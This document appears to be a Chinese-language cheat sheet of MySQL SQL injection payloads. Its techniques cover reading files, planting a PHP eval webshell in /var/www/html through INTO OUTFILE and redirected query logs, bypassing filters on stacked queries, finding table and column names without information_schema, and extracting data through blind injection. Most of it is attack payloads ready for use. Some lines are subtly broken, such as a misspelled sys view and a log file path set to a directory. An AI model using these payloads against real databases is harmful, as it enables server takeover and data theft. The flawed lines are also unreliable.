sql注入的确很杂,很多内容,这里将以前积累的一些东西总结到一起,方便查阅。
mysql注入读写文件
一般方法读写文件
根本条件
- 数据库允许导入导出
- 当前用户具有文件操作权限
查询是否有文件读写权限
查询user表:
1 | select file_priv from mysql.user where user="root"; |
查询secure-file-priv
变量
1 | select @@secure_file_priv; |
secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:
无内容,表示无限制。
为NULL,表示禁止文件读/写。
为目录名,表示仅允许对特定目录的文件进行读/写。mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。
修改方法:
- 通过修改my.ini文件,添加:
secure-file-priv=
- 启动项添加参数:
mysqld.exe --secure-file-priv=
读文件
1 | select load_file(file_path); |
写文件
1 | select 1,"<?php @eval($_POST['1']);?>" into outfile '/var/www/html/1.php'; |
outfile
函数可以导出多行,而dumpfile
只能导出一行数据;outfile
函数在将数据写到文件里时有特殊的格式转换,而dumpfile
则保持原数据格式(适用于二进制文件)
利用日志写shell
利用日志写shell是要在拿到sql shell的前提下(能执行show、set等命令),并且要有足够权限才可以。
普通日志
打开general log
选项,所有的查询语句都在general log
文件中以可读的方式得到。但是这样general log
文件会非常大,所以默认是关闭的。
操作步骤:
- 查询日志配置情况:
show variables like 'general_log%';
,(记录下来,便于恢复)。 - 开启日志:
set global general_log='on';
- 设置日志文件:
set global general_log_file='/var/www/html';
- 写入数据:
select '<?php eval($_POST["1"]);?>';
慢查询日志
慢查询日志也是记录执行的语句,和普通日志不同的是它只会记录超过指定时间的语句(long_query_time
,默认10秒)。
查看设置的时间:
show global variables like '%long_query_time%';
操作步骤:
- 慢查询日志配置情况:
show variables like 'slow_query_log%';
,(记录下来,便于恢复)。 - 开启慢查询日志:
set global slow_query_log=1;
- 设置慢查询日志文件:
set global slow_query_log_file='/var/www/html';
- 写入数据:
select '<?php eval($_POST["1"]);?>' or sleep(11);
堆叠注入
一般来说,sql语句以分号;
结尾。但后端如果开启了多语句执行,则可以通过分号连接多个sql语句并执行。
堆叠注入产生的原因就是如此。
这里记录一些绕过堆叠注入的一些方法。
使用预编译+16进制
1 | prepare x from "select user()"; |
使用handler代替select查询
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
它是mysql专用的语句,并没有包含到SQL标准中。
用法:
1 | handler 表名 open; // 打开一个表用以查询 |
一些tricks
代替information_schema库获取表名
innodb
在mysql中,存储数据的默认引擎分为两种,一类是在5.5.x
之前的MyISAM数据存储引擎,另一类是5.5.x版本后的inodb引擎。并且在5.5.x
版本之后将innodb作为数据库的默认引擎。
在mysql5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats
,另一个是innodb_table_stats
(在mysql库中),两个库中都会存储数据库和对应的数据表(没有字段名)
payload:
1 | select group_concat(table_name) from mysql.innodb_index_stats where database_name=database() |
sys
mysql5.7+ 的sys库:由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys.schemma,基础数据来自于performance_chema
和information_schema
两个库,本身数据库不存储数据。
sys.schema_auto_increment_columns
- 该视图的作用简单来说就是用来对表自增ID的监控。该视图中,存有具有自增列到表到信息。
table_schema
表所在库table_name
表名
sys.schema_table_statistics_with_buffer
查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间降序排序
数据来源:
performance_schema.table_io_waits_summary_by_table
、sys.x$ps_schema_table_statistics_io
、sys.x$innodb_buffer_stats_by_table
table_schema
表所在库table_name
表名
payload:
1 | select group_concat(table_name) from sys.schema_suto_increment_columns where table_schema=database(); |
使用join获取列名(报错注入中)
现已知表名:flag,通过表名获取列名,如下:
第一个列名:select * from(select * from flag join (select * from flag)b)c
获得第一列的列名,id
第二个列名:select * from(select * from flag a join (select * from flag)b using(id))c
获得第二列的列名,flag
第三个列名:select * from(select * from flag a join (select * from flag)b using(id,flag))c
无列名爆数据
使用union select
sql中的反引号
反引号在mysql中用来区分保留字
例如表A中有一列名为select,要查询该列:
1 | select select from A; // 错误 |
payload:
1 | select `1` from (select 1,2,3 union select * from 表名)a // 子查询中select的数目为列数。 |
通过列数 1,2,3… 再union带出整张表数据。
这一步的目的是改变/替换字段名(替换为1,2,3,4…)。
1 | select group_concat(a.1,'-'a.2,'-',a.3) from (select 1,2,3 union select * from 表名)a; |
盲注的方法
如果表中只有一列可以 substr((select * from table),1,1)='x'
进行盲注
如果有多列,需要将查询语句与相同数量的列进行比较,再配合 <=
进行盲注
1 | select (select 1, "abc") = (select * from table); |
通过 “<” 替换 “=” ,可以逐字符检索出数据。
但是需要注意:MySQL中的字符串比较在默认情况下是不区分大小写的。